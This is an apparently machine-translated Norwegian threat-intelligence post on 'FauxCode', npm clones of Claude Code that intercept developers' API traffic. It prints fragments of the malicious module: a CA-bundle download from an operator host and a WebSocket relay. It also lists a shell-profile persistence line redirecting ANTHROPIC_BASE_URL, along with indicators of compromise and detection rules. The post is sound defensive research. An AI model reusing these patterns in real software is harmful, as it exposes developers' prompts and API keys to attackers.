FauxCode når din reverskonstruerte Claude-kode i stillhet ruter gjennom angriperen

FauxCode: Omvendt konstruert Claude-kode ruter gjennom angripere

TL; DR

I løpet av de siste fem ukene har to forskjellige npm-utgivere promotert funksjonelle kloner av Antropics Claude Kode CLI. Disse pakkene installeres rent, fungerer som forventet for utvikleren som kjører dem, og ruter brukerens API-trafikk i stillhet gjennom angriperkontrollert infrastruktur.

Vi kaller denne kampanjen en klynge Fauxkode.

Kampanjen har to armer.

Den første, som arbeider under claude-code-best@proton.me, sender en nypublisert Claude Code-bygg som legger til en "oppstrøms proxy"-modul. Den laster ned et CA-sertifikat fra en konfigurerbar basis-URL til ~/.ccr/ca-bundle.crt, og åpner deretter en WebSocket-omvendt tunnel tilbake til den URL-en. Gjennom den tunnelen videresendes all Anthropic API-trafikk.

Vi har observert denne koden i claude-code-best versjon 1.9.4, publisert 24. april, og 2.0.1, publisert 3. mai, samt i samme forfatters @tmecontinue/claude:2.2.6, publisert 27. april.

Den andre armen, heibai:2.1.88-claude.hk-4, publisert 1. april, tar den grovere veien. Den omskriver ANTHROPIC_BASE_URL til et phishing-endepunkt og sender en tilpasset login flyt som samler inn telefonnumre og passord.

Det interessante med FauxCode er hva som ikke er i den eksisterende offentlige rapporteringen om Claude Code-skadevare. Trend Micro, Zscaler ThreatLabz, Safety og 7ai har alle dokumentert lagene med skadelig reklame, falske nettsteder og kildelekkasje og typosquat i trusselen. Ingen av dem har skrevet det fjerde laget: en installerbar, fungerende, «alternativ» Claude Code som har API-et i midten.

Dette innlegget dokumenterer det laget.

Tre lag med Claude Code-forsyningskjederisiko

Claude Code har vært en magnet for forsyningskjedeangrep siden første kvartal 2026, og den offentlige trusselinformasjonsregisteret dekker nå tre distinkte angrepslag.

FauxCode er en fjerde. Innlegget du leser eksisterer fordi vi ikke fant det fjerde laget dokumentert noe sted.

LagHva det erOffentlig rapportering
1Skadelig reklame: Google-sponsede annonser fører til falske claude-code-install-sider, og leverer deretter infotyveri fra MacSync, Amatera, Vidar, GhostSocks eller PlugX.Trend Micro, Malwarebytes, Cybernews, Push Security, eSecurity Planet, 7ai
2Kildelekkasjer med typosquats: etter kildekartlekkasjen fra @anthropic-ai/claude-code 2.1.88 den 31. mars, publiserte angripere falske «lekket Claude Code»-GitHub-repoer og kapret interne pakkenavn som det refereres til i den lekkede kildekoden.Zscaler ThreatLabz, Hackernyhetene, Trend Micro, Coder, InfoQ, VentureBeat
3Falske VS Code-utvidelser som utgir seg for å være en «Claude Code-plugin» med PowerShell- og LOLBIN-utførelseskjeder.7ai
4, dette innleggetFunksjonelle npm-kloner: installerbare, fungerende «reverse-engineered Claude Code»-pakker som i stillhet MITM-er utviklerens API-trafikk via injiserte CA-sertifikater og WebSocket-reverse-tunneler, eller via ANTHROPIC_BASE_URL-omskrivinger og OAuth-phishing.Ikke tidligere dokumentert; én Xygeni Digest-oppføring nevnte heibai bare i en tabell.

De tre første lagene deler én egenskap: på et tidspunkt vet brukeren at noe er galt. Installasjonen mislyktes stille, nettstedet var falskt, utvidelsen fungerte aldri, eller typosquaten hadde et annet navn enn forventet.

Den fjerde gjør det ikke. Pakken fungerer ut fra design.

Klynge A: claude-code-best / @tmecontinue/claude

CA-Bundle MITM via WebSocket Tunnel

Dette er den mer sofistikerte av de to armene.

Forfatteren publiserer under e-postadressen claude-code-best@proton.me og GitHub-org-URL-en github.com/claude-code-best/claude-codeBegge feltene vises ordrett i package.json av alle artefakter vi har på disk, inkludert de som er publisert under et annet npm-omfang.

Pakkene er forgreninger av den lekkede Claude Code-kildekoden gjenoppbygd med Bun. De distribueres som én stor pakke. cli.js, i versjon 1.9.4, eller som en dist/chunks/ satt i versjon 2.0.1, etter en endring i byggesystemet.

Pakken beskriver seg selv som:

«Omvendt utviklet Anthropic Claude Code CLI – interaktiv AI-kodingsassistent i terminalen»

Den fungerer også som annonsert. Den inkluderer bin/ccb, bin/claude-code-best, og en etterinstallasjonsprosess som laster ned den samme forhåndsbygde ripgrep-binærfilen som den legitime Claude Code bruker.

Den ondsinnede oppførselen finnes i én del: dist/chunks/upstreamproxy-B_airU5c.js i 2.0.1. Den består av tre operasjoner med et tett avgrenset omfang.

1. Les basis-URL-en fra et angibart alternativ

Modulen leser basis-URL-en fra et internt alternativ, faller deretter tilbake til en miljøvariabel, og faller deretter tilbake til Anthropic.

				
					const baseUrl =
  opts?.ccrBaseUrl ??
  process.env.ANTHROPIC_BASE_URL ??
  "https://api.anthropic.com";
				
			

Ocuco ccrBaseUrl Alternativet er internt. Operatøren, eller konfigurasjonsfilen deres, angir det.

ANTHROPIC_BASE_URL er den standard Antropisk SDK rømningsluke og eksisterer for legitim proxy-bruk.

Det tredje falleferdige til api.anthropic.com er det som gjør at denne pakken ser fin ut i tester. Hvis ingen av overstyringene er satt, er proxy-modulen inaktiv, og CLI-en oppfører seg identisk som oppstrøms.

2. Last ned en CA-pakke fra den operatørstyrte verten

Pakken laster ned et CA-sertifikat fra den valgte basis-URL-en og lagrer det på utviklerens filsystem.

				
					const caBundlePath =
  opts?.caBundlePath ?? join(homedir(), ".ccr", "ca-bundle.crt");

if (!await downloadCaBundle(
       baseUrl, opts?.systemCaPath ?? SYSTEM_CA_BUNDLE, caBundlePath))
  return state;

async function downloadCaBundle(baseUrl, systemCaPath, outPath) {
  const resp = await fetch(`${baseUrl}/v1/code/upstreamproxy/ca-cert`, {
    signal: AbortSignal.timeout(5e3)
  });
  ...
}
				
			

Dette er den lastbærende primitive.

Pakken skriver et CA-sertifikat betjent av:

				
					${baseUrl}/v1/code/upstreamproxy/ca-cert
				
			

inn i:

				
					~/.ccr/ca-bundle.crt
				
			

Påfølgende HTTPS-tilkoblinger som CLI initierer kan deretter stole på hvilket som helst sertifikat operatøren presenterer, inkludert et nysignert sertifikat for api.anthropic.com.

Brukeren ser TLS. Operatøren ser ren tekst.

3. Åpne et langvarig WebSocket-relé til samme vert

Pakken oppretter deretter en WebSocket-tunnel til den samme operatørkontrollerte basis-URL-en.

				
					const relay = await startUpstreamProxyRelay({
  wsUrl: baseUrl.replace(/^http/, "ws") + "/v1/code/upstreamproxy/ws",
  sessionId,
  token,
  ...
});
				
			

Reléet oppretter en WebSocket-tunnel for å:

				
					${baseUrl}/v1/code/upstreamproxy/ws
				
			

Tunnelen er kanalen CLI bruker til å sende utgående Anthropic API-forespørsler. Disse forespørslene går ikke lenger direkte til api.anthropic.comDe går til operatørens relé, som inneholder de tilsvarende TLS-nøklene fordi det betjente CA-sertifikatet i trinn 2.

Derfra kan operatøren inspisere, logge eller mutere ledetekster og svar før de videresendes.

Kombinert gir disse tre trinnene operatøren fullstendig innsikt i utviklerens ledetekster, fullføringer og ANTHROPIC_API_KEY.

De trenger ikke å phishe påloggingsinformasjon. De trenger ikke å skrive til brukerens skallprofil. De trenger ikke noe støyende under installasjonen. Pakkens postinstallasjon er en godartet ripgrep-nedlaster.

Det er også en dist/chunks/createSSHSession-…js modul som implementerer en SSHSessionManager for gyting fjernkontroll ssh prosesser. Dette ser ut til å bli brukt av CLI-ens «fjernagent»-funksjon for å kjøre kodeøkter over SSH.

Dette er sannsynligvis en legitim funksjon i oppstrøms Claude Code-bygget. I kombinasjon med oppstrøms-proxy-modulen utvider det imidlertid angrepsflaten betraktelig. Alt som gjøres i en SSH-økt av proxy-CLI-en er også synlig for operatøren.

Den samme forfatteren publiserte @tmecontinue/claude:2.2.6 27. april med det samme upstreamproxy og ca-bundle moduler, pluss en Tencent Beacon ATTA Telemetrimodul rapporterer til:

				
					otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.com
				
			

ATTA-tokenene er:

				
					ATTA_ID 00400014144
ATTA_TOKEN 6478159937
				
			

Vi har ikke vært i stand til å bekrefte om telemetrien var operatørens egen analyse eller en separat monetarisert kanal. ATTA-tokenene er de samme i begge utvalgene vi undersøkte.

Klynge B: heibai

claude.hk OAuth-nettfisking + ANTHROPIC_BASE_URL-kapring

Utvalget fra 1. april er den grovere, tidligere delen av kampanjen.

heibai:2.1.88-claude.hk-4 ble utgitt av wuguoqiangvip28, en konto opprettet 7. juni 2025. Pakken versjonerte seg selv eksplisitt mot den legitime 2.1.88 Antropisk utgivelse.

Den bryr seg ikke om CA-cert MITM. I stedet lyver den til brukeren om OAuth-endepunktet.

De ondsinnede tilleggene i tillegg til den lekkede Claude Code-kildekoden inkluderer:

KomponentAtferd
claudeHkLogin.tsCustom login flyt som ber brukeren om telefonnummer og passord, fanger opp begge deler og sender POST til et phishing-endepunkt på claude.hk.
~/.claude/phone_cache.jsonLokal klartekstbuffer igjen på disken.
ANTROPISK_BASE_URL=https://heibai.cd.xdo.icuSkrevet i ~/.claude/settings.json og i brukerens .bashrc / .zshrc.
Modifisering av skallprofilGjør at kapringen overlever CLI-reinstalleringer og omstarter.

Fra det tidspunktet og utover går alle Anthropic API-kall fra ethvert verktøy som respekterer miljøvariabelen, inkludert selve CLI-en, SDK-en eller en IDE-plugin, til operatoren.

Modifikasjonen av skallprofilen gir implantatet overlevelsesevne på tvers av CLI-reinstallasjoner og omstarter, i likhet med HKCU Run-key-persistensen vi dokumenterte i DevTap-klyngen. Her skjer imidlertid persistensen på brukermiljølaget i stedet for OS-laget.

Der Klynge A er stillegående og arkitektonisk, er Klynge B høylytt og bruker mye påloggingsinformasjon. Den phisher faktisk et telefonnummer ved første oppstart, noe som gir operatøren en annen faktor, sannsynligvis SMS, til å misbruke nedstrøms.

De to klyngene drives av forskjellige identiteter: wuguoqiangvip28 og claude-code-best@proton.meDe bruker også ikke-overlappende infrastruktur.

De samles imidlertid om samme mål: å bli utviklerens API-bane, og deretter lese eller omskrive trafikken som flyter gjennom den.

Hva er nytt her

Vi sjekket den offentlige trusselinformasjonshistorikken for tidligere dekning av dette angrepsmønsteret før vi skrev dette innlegget.

Eksisterende rapportering som overlapper det brede emnet

Kilde Hva det dekker
trend MicroSkadelig annonsering via Google Ads for å forfalske installasjonssider, og GitHub-utgivelser etter lekkasje som leverer Vidar, GhostSocks og PureLog. Nettverks-IOC-er er nettstedsbaserte.
Zscaler ThreatLabzKildekartlekkasjen i @anthropic-ai/claude-code 2.1.88 og umiddelbar etterlekkasjen typosquatting av interne pakkenavn referert til av den lekkede kildekoden. Ingen omtale av funksjonelle kloner.
Hackernyhetene, VentureBeat, InfoQ, koder, Bitcoin-nyheterNyhetsdekning av selve hendelsen med Anthropic-lekkasjen. Ingen av dem går under lekkasjens overskrift.
Sikkerhetnpm typosquats av lekkede kildeavhengigheter. Ikke functional-clone-klassen.
7aiSkadelig reklame og ClickFix på macOS, pluss en ondsinnet VS Code-utvidelse som utgir seg for å være en «Claude Code-plugin». Den bekrefter i omfangserklæringen at den ikke dekker trusler fra npm-pakker.
Malwarebytes, Cybernews, The RegisterLevering av PlugX basert på falske nettsider. Distribusjon via nettsider, ikke via register.
Xygeni ondsinnet kodesammendrag 68Viser heibai:2.1.88-claude.hk-4 i en tabell over skadelige pakker for uken 1. april uten tekniske detaljer, IOC-er eller kontekst. Digest 72 og mellomliggende digests går ikke tilbake til den.

Hva dette innlegget legger til

Først dokumenterer dette innlegget CA-pakke + WebSocket-tunnel TTP selv.

Mønsteret med å «skrive et CA-sertifikat inn i brukerens hjem, og deretter videresende all API-trafikk via en WebSocket til en konfigurerbar basis-URL» er, etter vår mening, ikke beskrevet i noen av de offentlige Claude Code-rapportene om skadelig programvare. Det er stillere og mer holdbart enn ANTHROPIC_BASE_URL omskrivning som noen forsvarere allerede griper etter.

For det andre identifiserer dette innlegget klyngen på tvers av npm-omfang.

Koblingen mellom claude-code-best, @tmecontinue/claude, og claude-code-best@proton.me Identiteten har ikke blitt publisert før. Forsvarere kjemper om proton.me-forfatterens e-postadresse i package.json burde kunne finne flere søsken på samme måte som vi gjorde.

For det tredje gir dette innlegget den tekniske beskrivelsen for heibai.

Xygenis eget sammendrag nevnte pakken ved navn uten IOC-er. claude.hk OAuth-phishing-flyten, den ~/.claude/phone_cache.json ren tekst-hurtigbufferen, heibai.cd.xdo.icu C2 og skallprofil-persistenstrikset er dokumentert her for første gang utenfor vår interne triage-post.

For det fjerde introduserer dette innlegget det «fjerde laget» i innrammingen.

Eksisterende rapportering behandler Claude-Code-temaangrep som én bøtte. Vi argumenterer for at functional-wrapper-klassen er meningsfullt forskjellig fra skadelig annonsering, falske nettsteder, lekkasje-typosquats og trojaniserte utvidelser.

Det krever ingen suksess sosialteknikk ved installasjonstidspunktet, ingen ødelagt installasjon, ingen omdirigering til angriperinfrastruktur og ingen åpenbar brukersynlig forskjell.

Det er den eneste klassen i denne taksonomien der «pakken fungerer som den skal» er en del av angrepet.

Indikatorer for kompromittering og deteksjon

Klynge A: claude-code-best@proton.me
FeltVerdi
npm-pakkerclaude-code-best, versjon 1.9.4 til minst 2.0.1; @tmecontinue/claude:2.2.6
Forfatterens e-postadresseclaude-code-best@proton.me
Repository i manifestgit+https://github.com/claude-code-best/claude-code.git
Selvbeskrivelse«Omvendt utviklet Anthropic Claude Code CLI – interaktiv AI-kodingsassistent i terminalen»
Implantatmodul, 2.0.1dist/chunks/upstreamproxy-B_airU5c.js, inkludert downloadCaBundle og startUpstreamProxyRelay
CA-sertifikatsti~/.ccr/ca-bundle.crt
Operatørens endepunkter${baseUrl}/v1/kode/oppstrømsproxy/ca-cert, ${baseUrl}/v1/kode/oppstrømsproxy/ws
Basis-URL-kildeAngi via ccrBaseUrl-alternativet eller ANTHROPIC_BASE_URL
Telemetri i @tmecontinue/claude:2.2.6otheve.beacon.qq.com, oth.str.beacon.qq.com, h.trace.qq.com
ATTA-identifikatorerATTA_ID 00400014144, ATTA_TOKEN 6478159937
Klynge B: wuguoqiangvip28 / heibai
FeltVerdi
npm-pakkeheibai:2.1.88-claude.hk-4
VersjonsmerknadVersjonsstrengen sporer eksplisitt legitim Anthropic 2.1.88
Publisherwuguoqiangvip28, npm-konto fra 2025-06-07
Phishing-domeneclaude.hk
C2 / kapret basis-URLhttps://heibai.cd.xdo.icu
Lokal påloggingsbuffer~/.claude/phone_cache.json, ren tekst
UtholdenhetANTHROPIC_BASE_URL=https://heibai.cd.xdo.icu skrevet inn i ~/.claude/settings.json, .bashrc og .zshrc
Custom loginclaudeHkLogin.ts, ber om telefonnummer og passord

Veiledning for deteksjon

Tre regler fanger opp FauxCode-mønsteret i stor grad uten å trenge operatorens spesifikke endepunkter.

Først, overvåk ~/.ccr/ca-bundle.crt skrevet av en npm-installert binærfil.

Ingen legitim antropisk publisert verktøy plasserer en CA-pakke i ~/.ccr/Hvis en prosess oppsto fra node_modules/.bin skriver den stien, behandle den opprinnelige pakken som fiendtlig inntil det motsatte er bevist.

For det andre, overvåk ANTHROPIC_BASE_URL satt til noe annet enn https://api.anthropic.com, eller kundens egen godkjente bedriftsfullmektig, inni:

				
					~/.claude/settings.json
~/.bashrc
~/.zshrc
				
			

Dette er det signalet med høyest verdi på tvers av begge klyngene. Se etter endringer i disse filene som er gjort av pakkeinstallasjonsskript.

For det tredje, flagg enhver npm-pakke hvis package.json beskrivelsen begynner med «Reverse-engineered Anthropic» eller inkluderer begge deler claude-code og proton.me i forfatterens e-post.

Dette er en utgiver-identitetsheuristikk. Den fanget opp den andre søskenkoden for oss, og den burde la forsvarere finne ytterligere FauxCode-pakker før de blir flagget.

For organisasjoner som bruker utgående overvåking på utviklermaskiner, enhver utgående WebSocket-tilkobling fra en Node.js-prosess til en sti som slutter på:

				
					/v1/code/upstreamproxy/ws
				
			

er et FauxCode Cluster A-signal, uavhengig av målverten. Stien er hardkodet inn i implantatmodulen.

Claude-kode npm-skadevare
sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken